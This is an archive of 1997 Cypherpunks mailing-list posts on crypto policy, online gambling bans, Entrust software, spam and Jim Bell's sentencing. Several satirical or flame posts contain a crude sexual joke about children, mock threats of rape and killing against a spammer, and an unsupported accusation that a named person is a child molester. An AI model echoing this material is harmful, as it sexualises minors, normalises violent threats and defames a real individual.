   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   apache at quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From tcmay at got.net  Wed Jul 30 00:13:23 1997
From: tcmay at got.net (Tim May)
Date: Wed, 30 Jul 1997 15:13:23 +0800
Subject: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
Message-ID: 





Reuter, Seattle: In an ironic twist, notorious info-terrorist and thought
criminal James Dalton Bell is expected to be imprisoned longer than former
Khmer Rouge leader Pol Pot will be imprisoned in Cambodia.

Reached for comment, U.S. Deputy Assistant Persecutor Francine P. Malveaux
admitted that Bell's punishment is indeed harsher than that befalling Pol
Pot, accused of ordering the killing of 3 million Cambodians from 1975 to
1979. She said, "But Bell confessed to his crimes, and Pol Pot just took
the Fifth, so Mr. Pot was actually not convicted of anything more serious
than selling contraband copies of "Zap Comix," which his rebel band was
smuggling in from Myanmar."

FBI Director Louis Unfreeh acknowledges the harsh treatment Bell is
receiving is meant as a deterrent. "We are looking into the possibility of
inviting Mr. Pot to come to the United States after he completes his 3
months of community service...we'd like him to advise us on our growing
internal security problems," he noted.

Bell could not be reached for comment.





--
















From nobody at REPLAY.COM  Wed Jul 30 00:39:22 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 15:39:22 +0800
Subject: Online Casino Ripoffs / Re: 7-29_b8_EXTRA_Internet.html
Message-ID: <199707300716.JAA04996@basement.replay.com>



Apache wrote:
> 
> >    "Bringing gaming directly into people's homes, as we are beginning to
> >    see through the Internet, is so full of potential problems and so far
> >    beyond the ability of any state to regulate that despite whatever
> >    business potential it may have it needs to be prohibited on a national
> >    level," Bryan said.
> 
> Translation: We can't figure out how to tax these pricks so we'll just
> ban it because it represents a perceived threat to our own rigged and
> heavily taxed government sponsored tax collection casino cells.

  Youngsters on the list might not remember how private individuals
involved in gambling used to be denigrated by the government as "the
scum of the earth"--as "criminals" and "mobsters" and "evil."
  Now that the government has hijacked the gambling industry, only
those not paying the government their share of the "vigorish" are
scum-sucking criminals.

  I checked out the Men/Boy Love sites from one of the list threads
and realized that what these "filthy, scum-sucking perverts" need in
order to become acceptable members of society is to find a way to
let the government in on the potential revenue of child pornography.
  Then we will be faced with legislation promoted by these same
politicians which is aimed at making certain that Joe Public is
not ripped off by private individuals who are selling pictures of
"clothed" children. The government will pass regulations ensuring
that child-porn sites have government approved "voluntary (at
gunpoint)" ratings which ensure that Joe Public can count the hairs
on little Johnny's pre-pubescent balls when he downloads the graphics
files that have off(ici)al government approval.

  If we let the Mob run the country, they could probably balance the
national budget with the money saved from no longer needing elections
in order to keep up the pretext of democracy.

> The article quoted starts off with how concerned the gubmint is about the
> possibility of consumer fraud wrt on-line casinos and shows how they
> propose to protect the consumer: 12 months in prison AND a $5000 fine.
> Consumer fraudsters should take note, they have a competitor in the ring!

  This is outrageous!
  If the government was _really_ concerned with protecting us, then they
would put us in jail for life! Or give us the death penalty!
  12 months in prison AND a $5000 fine?
  Sounds to me like these fuckers are "soft on crime." Write your 
legislative representatives and complain. Demand that they institute
the death penalty for all crimes, including jaywalking, tearing the
tags off of mattresses, and "thinking about possibly contemplating
an action which may constitute a crime at some point in the future."

 Truth C. Monger  {Tim C. May's evil-Congressional-twin}
-------x-------x-------x-------x-------x-------x-------x
"There's something wrong when citizens don't receive the
   death penalty under an increasing number of laws."
-------x-------x-------x-------x-------x-------x-------x






From stewarts at ix.netcom.com  Wed Jul 30 01:28:21 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 30 Jul 1997 16:28:21 +0800
Subject: Gary Burnore Arrested at Critical Mass
Message-ID: <3.0.2.32.19970730011236.030509b4@popd.ix.netcom.com>



Those of you in the San Francisco area have seen headlines
about the Critical Mass monthly bicycle rides around San Francisco
and about how Da Mayor and the police decided to control them
(as if telling an anarchy what to do is productive for anyone)
and arrested 250 people, some for running red lights, but
many for failing to disperse, as near as I can tell from the papers.
It was overall a fun evening, though my brakes weren't really
up to Lombard Street :-)

Anyway, Gary Burnore, scourge of the remailers, was arrested.  
According to the paper, he wasn't really sure why; 
the police didn't give people enough time to disperse
before massly arresting them for not dispersing.

The city district attorney _has_ informed Da Mayor that the city can't
just confiscate the bikes that were seized along with the riders;
apparently it's not part of the law :-)  On the other hand,
that doesn't mean they necessarily have to give them back
right away, as opposed to holding them as evidence.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tcmay at got.net  Wed Jul 30 01:34:51 1997
From: tcmay at got.net (Tim May)
Date: Wed, 30 Jul 1997 16:34:51 +0800
Subject: Government takeover of the gambling industry
In-Reply-To: <199707300716.JAA04996@basement.replay.com>
Message-ID: 



At 12:16 AM -0700 7/30/97, Anonymous wrote:

>  Youngsters on the list might not remember how private individuals
>involved in gambling used to be denigrated by the government as "the
>scum of the earth"--as "criminals" and "mobsters" and "evil."
>  Now that the government has hijacked the gambling industry, only
>those not paying the government their share of the "vigorish" are
>scum-sucking criminals.

It's the way of all governments. First denounce something, then co-opt it,
then get rid of the competition.

But imagine how this might rebound to our favor: suppose NSA
Microelectronics, Inc. finds itself limited in its sales prospects by the
NSA policies limiting electronics companies...maybe NSA Microelectronics
will point out to the DIRNSA that the nice flow of kickbacks to all senior
NSA managers will come to a halt if NSA Microelectronics is not able to
sell its crypto products domestically.

Still, better just to have a trial and then hang them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From snow at smoke.suba.com  Wed Jul 30 01:41:58 1997
From: snow at smoke.suba.com (snow)
Date: Wed, 30 Jul 1997 16:41:58 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970721120326.06352@bywater.songbird.com>
Message-ID: 



On Mon, 21 Jul 1997, Kent Crispin wrote:
> I view your question as equivalent to "But what if one has no
> brain..." Principles are underlying rules controlling behavior, and

	I'd guess you never worked tech support have you.  

	There are people without  brains. I  know. 

Petro, Christopher C.
snow at smoke.suba.com






From plm at dv.nl  Wed Jul 30 02:00:07 1997
From: plm at dv.nl (Pretty Lousy Remailer)
Date: Wed, 30 Jul 1997 17:00:07 +0800
Subject: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
Message-ID: <199707300846.CAA14357@wombat.sk.sympatico.ca>



Tim May wrote:
> 
> Reuter, Seattle: In an ironic twist, notorious info-terrorist and thought
> criminal James Dalton Bell is expected to be imprisoned longer than former
> Khmer Rouge leader Pol Pot will be imprisoned in Cambodia.

  This Tim May guy seems to be some kind of wise-guy/troublemaker.
  He obviously doesn't understand the difference between a respected
world-leader and an average citizen.

> Reached for comment, U.S. Deputy Assistant Persecutor Francine P. Malveaux
> admitted that Bell's punishment is indeed harsher than that befalling Pol
> Pot, accused of ordering the killing of 3 million Cambodians from 1975 to
> 1979. She said, "But Bell confessed to his crimes, and Pol Pot just took
> the Fifth, so Mr. Pot was actually not convicted of anything more serious
> than selling contraband copies of "Zap Comix," which his rebel band was
> smuggling in from Myanmar."

  What Mr. May fails to mention, in his pathetic attempt to mislead his
readers, is that those 3 million Cambodians that Pol Pot eliminated were
all terrorists, child-pornographers and drug dealers. These actions were
necessary in order to protect "national dictatorship" and to meet the
"legitimate needs of dictatorship."
 
> FBI Director Louis Unfreeh acknowledges the harsh treatment Bell is
> receiving is meant as a deterrent. "We are looking into the possibility of
> inviting Mr. Pot to come to the United States after he completes his 3
> months of community service...we'd like him to advise us on our growing
> internal security problems," he noted.

  Despite Mr. May's snide sarcasm, ask yourself, "Who would I rather
have
acting as the new CypherPunks list moderator--Pol Pot or Jim Bell?"
  The choice is obvious.
 
> Bell could not be reached for comment.

  Bell also could not be reached when the President tried to contact him
to arrange a pardon in return for his methamphetamine recipe. Clinton,
clutching a needle and spoon in his hand, stated, "I tried speed once,
but I didn't inhale."
  Reports indicate that the Public Defender representing Bell told him,
"The _Bad_News_ is that I sold you down the river. The _Good_News_ is
that I'm getting a promotion and a tax refund next year."

  Tim C. May would have us believe that some no-account loser who only
fantasized about murdering his enemies should be given the same respect
and consideration as a world-leader who had the courage and character
needed to put his ideas into action.
  If Mr. May was not too lazy to check the mainstream media archives,
he would be aware that Pol Pot was sentenced to "house arrest." If
Mr. May was did not consider himself so high-and-mighty that he thinks
it beneath him to suck a little D.C. cock for inside information, he
would also be aware that the "house" Pol Pot will be confined to is
the "Whitehouse" and that he will be sleeping in the Lincoln bedroom
as a result of his generous donation of gold-tooth fillings to the
next Democratic election campaign.

  CypherPunks list readers should be aware that Tim C. May's hidden
agenda is to subvert national security by working in the interests
of privacy, freedom and liberty, at the expense of "we the sheeple."
  If we allow anarchists and terrorists such as Mr. May and his
cohorts to interfere with the "legitimate needs of fucking the 
citizens over and remaining in power," then we can expect to be 
faced with chaos and lawlessness, with CypherPunks destroying
government property by dumping Clipper Chips into Boston Harbor.

  Believe Tim C. May's lies, if you will, but you cannot deny that
Pol Pot's execution of 3 million Cambodians serves to affirm that
he was, indeed, "tough on crime." That, alone, should get him 
elected as the next Congressman from Arizona.

FrissellMonger

XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---
This email was forwarded by the "Pretty Lousy Remailer." If you wish to
know who sent it, check the headers. "PLR" has no interest in protecting
the identity of anonymous cowards such as Queen Elizabeth II.
XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---






From jya at pipeline.com  Wed Jul 30 02:29:15 1997
From: jya at pipeline.com (John Young)
Date: Wed, 30 Jul 1997 17:29:15 +0800
Subject: Escrow conference in Brussels
Message-ID: <1.5.4.32.19970730090516.0070c834@pop.pipeline.com>



To: ukcrypto at maillist.ox.ac.uk
Subject: Escrow conference in Brussels
Date: Wed, 30 Jul 1997 09:54:20 +0100
From: Ross Anderson 



                       CONFERENCE ANNOUNCEMENT

                     CRYPTOGRAPHY AND THE INTERNET

                 Developing Privacy and Security Policy
                  for the European Information Society


                            Organised by

                       PRIVACY INTERNATIONAL

                      Cooperating Organisations

                  Communications Week International
                Electronic Privacy Information Center
                   Global Internet Liberty Campaign
                               MICROBE
                              Terra Nova


                      Monday, 15 September 1997

                 Belliard Building, European Parliament
                           Brussels, Belgium


As Europe creates the Information Society,  ensuring the security and
privacy of its advanced telecommunications and computer networks has
become critically important. Cryptography is a crucial technology to
protect these networks. Law enforcement and intelligence agencies, led by
the the United States, are lobbying national governments and
international organizations for laws and international agreements to
enhance their abilities to monitor  networks through the use of "trusted
third parties," key escrow and key recovery systems. This has met with
considerable debate and resistance in many countries and international
meetings.

This conference will bring together leading legal and technical experts
>from around the world to discuss encryption and telecommunications
security with a focus on issues raised by trusted third party, key escrow
and key recovery systems. A panel of leading cryptographers and computer
security experts will examine the technical problems and risks raised.
Representatives from governments, human rights groups, industry, user
groups, and international organizations will discuss their perspectives
and provide updates on developments from around Europe and the world.


Keynote Speaker: Commissioner Mario Monti, European Union (invited)

       Confirmed Speakers

    Dr. Ross Anderson, University of Cambridge, UK
    David Banisar, Electronic Privacy Information Center, USA
    Dr. Matt Blaze, AT&T Labs, USA
    Tony Bunyan, Statewatch, UK
    Carl Ellison, CyberCash
    Simon Davies, London School of Economics & Privacy International
    Deborah Hurley, Terra Nova
    Dr. Erik Huizer, Internet Architecture Board & SURFNet, NL
    Wayne Madsen, Global Internet Liberty Campaign
    Hiroko Kamata, Organization for Economic Cooperation and Development
    Marc Rotenberg, Electronic Privacy Information Center, USA
    Bruce Schneier, Counterpane Systems and Author, Applied Cryptography
    Christine Sottong-Micas, DG 15, European Commission
    Dr. Ulrich Sandl, Ministry of Economic Affairs, Germany
    Prof. Alex Verrijn-Stuart, Chair, Legal & Security Issues Network,
      Council of European Professiona Informatics Societies (CEPIS) &
      Leiden University, NL
    Dr. Steven Wright, Omega Foundation, UK

COST

	8300 Bfr / US$225.00 Standard Rate
	2700 Bfr / US$85.00 Human Rights/Academia Rate

-----------------------------------------------------------------------

  REGISTRATION


  Name: _______________________________________________________________

  Organization:  ______________________________________________________

  Address:   __________________________________________________________

_______________________________________________________________________

  Phone/Fax: __________________________________________________________

  Electronic  Mail:____________________________________________________

  Credit card Number/Expiration _______________________________________
(Will appear on bill as Diane Publishing)


  [] Standard - 8100 Bfr ($225 US)
  [] Non-profit organizations/Educational - 3100 Bfr ($85 US)

  Fax Registration form and credit card number to +1 202.547.5482

  Send Check or Money Order in $US made out to Privacy International to:

	Privacy International Washington Office
	666 Pennsylvania Ave, SE, Suite 301
	Washington, DC 20003 USA

Online registration and payment using First Virtual is available at

     http://www.privacy.org/pi/conference/brussels/registration.html


MORE INFORMATION

More information about the conference including the agenda,online
registration, Brussels hotel and tourist information, and other related
materials is available from the Privacy International web page at:

          http://www.privacy.org/pi/conference/brussels/


ABOUT PRIVACY INTERNATIONAL

Privacy International (PI) is a human rights organization concerned with
privacy, surveillance and data protection issues worldwide.  It has
members in over forty countries and is based in London, England with
offices in Washington, DC and Sydney, Australia.  PI has engaged in
numerous campaigns on privacy issues, publishes the International Privacy
Bulletin, sponsors yearly conferences, and maintains an extensive
Internet web site at http://www.privacy.org/pi/


CONTACT INFORMATION

David Banisar, Privacy International Washington Office o 666
Pennsylvania Avenue, SE o Washington, D.C. 20003 USA. +1.202.544.9240
(voice), +1.202.547.5482 (fax),  ast3 at privacy.org (email),







From nobody at REPLAY.COM  Wed Jul 30 03:17:30 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 18:17:30 +0800
Subject: Government takeover of the gambling industry / Am I Psychic, or what...?
Message-ID: <199707301004.MAA20298@basement.replay.com>



Tim May wrote:
> It's the way of all governments. First denounce something, then co-opt it,
> then get rid of the competition.
> 
> But imagine how this might rebound to our favor: suppose NSA
> Microelectronics, Inc. finds itself limited in its sales prospects by the
> NSA policies limiting electronics companies...maybe NSA Microelectronics
> will point out to the DIRNSA that the nice flow of kickbacks to all senior
> NSA managers will come to a halt if NSA Microelectronics is not able to
> sell its crypto products domestically.

  I used to think I was psychic, since I predicted the fall of communism
in the Soviet Union (almost to the day). Later, after reading Tim's
tirade
against "magical thinking," I realized that I was just using common
sense.
  I realized that once "Pepsi" and "Burger King" had a vested interest
in
the "Red Menace" operating in the "Black," any fool who had the ability
to make 'i' increase in increments of 'two' could accurately predict how
long it would take for the Rockerfellers to notify the leaders of the
secret Zionist conspiracy that it was time to make a few changes.

  NSA Microelectronics will no doubt realize the value of using convict
labor to maximize the government's profits in their foray into the 
wonderful world of government usurpment of the free enterprise system.
  Since the government has always been less efficient than the forces
of free enterprise, we can expect that, "in the interests of national
security profits," more citizen-units will be required to become felons
"under an increasing number of laws."
  Not being a lawyer (although I played one at Jim Bell's trial), I 
cannot say for certain whether "suspicion of being Tim C. May" will be
a state crime or a federal crime. Nonetheless, I feel certain that 
Mr. May's experience and expertise will enhance the efficiency of our
convict-labor system to a level that will help move us toward a 
balanced budget (if we can take him alive).

  Although my tendencies toward "magical thinking" and observing life
through "Scotch-colored glasses" leads to my posts being somewhat 
rambling and incoherent, I can always count on the Philosopher Kings
(such as T.C.M.) on the CypherPunks list to remind me when it is time
to take my medication.
  I believe in reincarnation. I believe that if you live a corrupt,
sinful life, doing all manner of evil to your fellow men and women,
that you are reborn as either Jimmy Hoffa or Dr. Vulis.
  {There are those who believe that the above will result in your
being reborn as myself, but I cannot believe that any entity who
claims to be the Supreme Being could be that cruel.}

  In closing, I would like to remind the members of the CypherPunks
list that, "If God is Love, and Love is Blind, and Justice is Blind,
then Jim Bell's attorney is fucking Ray Charles."

TruthMonger






From m.pool at pharos.com.au  Wed Jul 30 18:22:18 1997
From: m.pool at pharos.com.au (Martin Pool)
Date: Wed, 30 Jul 1997 18:22:18 -0700 (PDT)
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <19970731012149.1115.qmail@buffalo.pharos.com.au>


> Date: Wed, 30 Jul 1997 06:46:53 -1000
> From: "Dr. Jai Maharaj" 

> > What this scum is actually upset about is Chris Lewis cancelling
> > spam. He calls that "forgery" because the spammer's name goes
> > in the sender field of the cancel message. Nonsense. . . .
> >  -  Sandy Harris
> 
> Forgery is a crime and such acts are not justified.

Spamming is a crime (theft of computer resources) and sometimes such
acts may be justifiable self-defense.

-- 
Martin Pool 
Pharos Business Solutions





From nobody at REPLAY.COM  Wed Jul 30 04:01:17 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 19:01:17 +0800
Subject: Sorry about accidental spamming
Message-ID: <199707301050.MAA24926@basement.replay.com>



Tom Helenius wrote:
> Dear Security Professional,
> We apologize for the annoyance and confusion we might have caused to you
> due to human error in our email addressing. As a result some of our
> internal emails about the newly announced F-Secure VPN v1.1 software were
> erroneously emailed to your attention.
> It is definitively not our company policy to contribute to spamming on the
> Internet, and we do hope that you'll still want to receive the otherwise
> unbiased information sent to the members of our press list.

Tom,
  Bullshit!
  We on the CypherPunks list are wise to all the "Oops!" scams that
spammers use to pretend that they aren't inundating us with their
UCE/Spam crapola.
  "In Reply To Your Request"
  "The Information You Requested"
  "Sorry! I Accidentally Sent My Post To 10,000,000 Email Addresses."

  To tell the truth, your post was not off-topic on this list, since
the list was formed to discuss privacy and security issues.
  However, your follow-up post makes it clear that you spammed a whole
shitload of InterNet users with your commercial message, and that the
fact that it was on-topic for our list was a mere matter of random
chance.
  Accordingly, we _will_ have to burn down your house, rape your wife,
kill your dog, and sell your children into slavery. The "upside" is
that some of us will probably purchase your F-Secure VPN v1.1 software,
as it seems to be a pretty decent product.

  Do you take Visa?

TruthMonger






From dlv at bwalk.dm.com  Wed Jul 30 05:43:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 30 Jul 1997 20:43:56 +0800
Subject: Online Casino Ripoffs / Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707300716.JAA04996@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:

>   Youngsters on the list might not remember how private individuals
> involved in gambling used to be denigrated by the government as "the
> scum of the earth"--as "criminals" and "mobsters" and "evil."
>   Now that the government has hijacked the gambling industry, only
> those not paying the government their share of the "vigorish" are
> scum-sucking criminals.

Of course the reason the "illegal" numbers rackets are so popular still
is that they offer much better odds of winning than the state lottery.
Unable to compete in the marketplace, the gubmint outlaws the
competition. Same way the gubmint wants to outlaw better crypto
than what the NSA has to offer.

ObPICSshit: I heard on the radio of a decision yesteday by (I think) NYS
Supremes: NYS is NOT violating its constitution's free speech blurb by
banning beer with politically incorrect _labels.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From m.pool at pharos.com.au  Wed Jul 30 20:57:41 1997
From: m.pool at pharos.com.au (Martin Pool)
Date: Wed, 30 Jul 1997 20:57:41 -0700 (PDT)
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707301842.LAA16904@kachina.jetcafe.org>
Message-ID: <33E00B8C.7AD8@pharos.com.au>


Dave Hayes wrote:
> Sandy Harris writes:
> > What this scum is actually upset about is Chris Lewis cancelling
> > spam. He calls that "forgery" because the spammer's name goes
> > in the sender field of the cancel message. Nonsense.
 
> According to RFC 1036 forging cancels for articles that do not
> originate from your news site is not allowed. He is clearly in
> violation of the RFCs. Spam jihads are not sufficient reason
> to ignore internet protocols.
 
  Spamming is a crime (theft of computer resources) and sometimes
such acts may be justifiable self-defense, such as when I steal
from my employer because they don't pay me enough, or when I lie
on my income tax forms because I want to keep my money for myself.

  Just because Chris Lewis has complete disregard for internet
protocol and feels justified in violating the "trust" that others
place in the headers of the email they receive, is no reason to
believe that he should not be "Entrust(ed)" with working in an
area that might affect the security of a large number of people.

-- 
Martin Pool 
Pharos Business Solutions






From mctaylor at mta.ca  Wed Jul 30 06:01:49 1997
From: mctaylor at mta.ca (Michael C Taylor)
Date: Wed, 30 Jul 1997 21:01:49 +0800
Subject: Entrust Technologies's Solo - free download
Message-ID: 



Entrust Technologies (www.entrust.com) has made Solo available for
download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
A mere $49 Cdn (~35 US) for commerical usage...

For e-mail / file encryption, digital signature

Solo uses 128-bit encryption, which is CAST-128, the royality-free
algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
cryptography and has DES, Triple DES available. 

Also follows FIPS 140-1 validated security kernel. It is compatible with
other Solo clients (of course), Entrust/Lite and Entrust. 

It looks like PGP Inc might have some decent competition. I assume that
it won't have the market pentration of PGP, but at least it will make a
dent and might force PGP Inc. to make their product robust and flexiable.

"Offer not valid in Libya, Iran, Iraq, Cuba, Angola, Syria, and North
Korea"

I do not have any affiliation with Entrust or NorTel other than both being
in Canada. I don't even have a copy of Entrust/Lite.

--
Michael C. Taylor  
"Not speaking on Mt Allison University's behalf"






From dlv at bwalk.dm.com  Wed Jul 30 07:00:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 30 Jul 1997 22:00:45 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: 
Message-ID: 



> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
>
> For e-mail / file encryption, digital signature
>
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> cryptography and has DES, Triple DES available.
>
> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust.

I ask everyone on these two forums to inform Northern Telecom Forgers /
Bell North Forgery Research / Entrust that we will boycott their
"security" products as long they continue to employ the child-molesting
pedophile Chris R. Lewis - the biggest forger on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From sunder at brainlink.com  Wed Jul 30 07:48:46 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 30 Jul 1997 22:48:46 +0800
Subject: This is an E-Mail address grabbing techninque!!!!!!!!!!!!!!!!!!!
In-Reply-To: <19970729.191146.3374.0.ahoier@juno.com>
Message-ID: 



On Tue, 29 Jul 1997, a spamming weasel shit named A Hoier spammed us with:

> I'm passing around this letter so write a comment on it then forward it
> to  some friends wonce you see 100 names on it E-MAIL it to
> ahoier at juno.com.......K
> --------------------------------------------------------------------------------------------------------------------
> Write 1st comment here then pass on to friend...K

For the stupid, this is an email address grabbing technique.  If you reply
to this, or do as is said, this weasel will have many many email addresses
to send spam to.  IMHO this is a rather stupid weasel as there are easier
ways to do this, but a weasel none the less.

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder at sundernet.com|once  again.   I thought you were hiding. |/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================






From fnorky at geocities.com  Wed Jul 30 07:52:05 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Wed, 30 Jul 1997 22:52:05 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: 
Message-ID: <33DF5190.26EB@geocities.com>



Declan McCullagh wrote:
> 
> The Secret Service sells tree ornaments every year. They're quite nice.
> Though by the time I got back from Singapore last December, they were sold
> out. Don't think they do mail order; it's just for building residents.
> 
> If there's a tremendous amount of interest I might be talked into taking
> orders this year. They're only about $12 each.
> 
> I hear from fellow jlists that the S.S. also runs a souvenier shop in the
> basement of the Old Executive Office Building, on the White House
> compound. I've never been able to find it, though.
> 
> -Declan

I'll keep the offer in mind this year.  If nothing else, they would make
great gifts for some of my more paranoid friends.

-Doug






From fnorky at geocities.com  Wed Jul 30 07:54:43 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Wed, 30 Jul 1997 22:54:43 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: 
Message-ID: <33DF51BF.241@geocities.com>



Ray Arachelian wrote:
> 
> On Thu, 24 Jul 1997, Doug Peterson wrote:
> 
> > Declan McCullagh wrote:
> > >
> > > It's actually the Secret Service offices that are upstairs from the Time
> > > bureau, on the top floor of the building. Perhaps because we're close
> > > enough to see the White House? Dunno. The only time I went up there was
> > > when they were selling Xmas tree ornaments.
> >
> > Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> > them, could you find out if they have a mail order address?
> 
> Sure you want'em?  They're probably as buggy as a swap in july.
> 

Hehe.  Thats the idea...

-Doug






From amp at pobox.com  Wed Jul 30 08:19:38 1997
From: amp at pobox.com (amp at pobox.com)
Date: Wed, 30 Jul 1997 23:19:38 +0800
Subject: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707300610.QAA06254@bear.apana.org.au>
Message-ID: 



Personally, I found the article about web gaming to be rather funny.

I wonder about the quality of the 'prng' used by these casinos.

There are, indeed, suckers born every minute.

> >    "Bringing gaming directly into people's homes, as we are beginning to
> >    see through the Internet, is so full of potential problems and so far
> >    beyond the ability of any state to regulate that despite whatever
> >    business potential it may have it needs to be prohibited on a national
> >    level," Bryan said.
> 
> Translation: We can't figure out how to tax these pricks so we'll just 
> ban it because it represents a perceived threat to our own rigged and 
> heavily taxed government sponsored tax collection casino cells.
> 
> >    Kyl's bill, backed by the National Association of Attorneys General,
> >    would punish those who set up Internet gaming Web sites with a fine of
> >    up to $10,000, two years in prison or both. Those who made an online
> >    wager would face one year in prison and a $5,000 fine.
> 
> Backed by NAAG! Well if that isn't a ringing endorsement I don't know 
> what is.
> 
> The article quoted starts off with how concerned the gubmint is about the 
> possibility of consumer fraud wrt on-line casinos and shows how they 
> propose to protect the consumer: 12 months in prison AND a $5000 fine. 
> Consumer fraudsters should take note, they have a competitor in the ring!
> 


------------------------
Name: amp
E-mail: amp at pobox.com
Date: 07/30/97
Time: 10:03:18
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------






From jf_avon at citenet.net  Wed Jul 30 09:09:49 1997
From: jf_avon at citenet.net (jf_avon at citenet.net)
Date: Thu, 31 Jul 1997 00:09:49 +0800
Subject: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
In-Reply-To: <199707300846.CAA14357@wombat.sk.sympatico.ca>
Message-ID: <199707301550.LAA25398@cti06.citenet.net>



On 30 Jul 97 at 2:49, Pretty Lousy Remailer wrote:

> FrissellMonger

Ah!  More truth-straightening comments by objectivity 
heroes like you would be needed to straighten the world's wrong.  
Keep up the good work!

jfa

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C






From sandy at storm.ca  Wed Jul 30 09:24:03 1997
From: sandy at storm.ca (Sandy Harris)
Date: Thu, 31 Jul 1997 00:24:03 +0800
Subject: Entrust Technologies's Solo - free download
Message-ID: <199707301555.LAA00073@mail.storm.ca>



Dr.Dimitri Vulis KOTM  writes:



>> Entrust Technologies (www.entrust.com) has made Solo available for
>> download, free . . .

>I ask everyone on these two forums

Cypherpunks & Freedom Knights. Both should be very happy to
see strong encryption becoming more widely available.

>to inform Northern Telecom Forgers / Bell North Forgery Research
>/ Entrust that we will boycott their "security" products

Snarky quotes not required. This isn't snake oil. There is plenty of
solid analysis behind these products. Check references on Entrust
web site.

>as long they continue to employ the child-molesting
>pedophile Chris R. Lewis - the biggest forger on Usenet.

What this scum is actually upset about is Chris Lewis cancelling
spam. He calls that "forgery" because the spammer's name goes
in the sender field of the cancel message. Nonsense.

Dimitri, the "forgeries" are going to continue until someone comes
up with a better way of dealing with spam. If you have suggestions,
post them to some of the news,admin.net-abuse.* groups or to
the Freedom Knights list.

The crap about pedophilia is also, of course, nonsense. It seems
to be a favorite slur lately with several grossly misguided people
who think calling people they dislike pedophiles is a way to
"defend freedom of speech".






From geeman at best.com  Wed Jul 30 09:31:47 1997
From: geeman at best.com (geeman at best.com)
Date: Thu, 31 Jul 1997 00:31:47 +0800
Subject: Programlike Texts
Message-ID: <3.0.32.19970730090408.006cbaf8@best.com>



Also coming to mind is the well-known notation for dancers ... 
I believe it's called Laban notation.

At 09:46 AM 7/29/97 -0400, you wrote:
>
>One argument that is made by the government when trying to defend its
>export restrictions---which are really publishing restrictions---on
>cryptographic software is that they are not trying to regulate the
>communication of information but rather the functionality of the
>software.
>
>Now this has never made any sense to me, but that does not mean that
>the argument can just be ignored.
>
>So I have been looking for examples of texts that are analogous to computer
>programs but that are executed by something other than a computer.
>
>So far the best example that I can think of, and I doubt that one can
>find a better one, is the instructions given to a drill team.  
>
>I have looked at the drill manual for the U.S. Naval Academy that is 
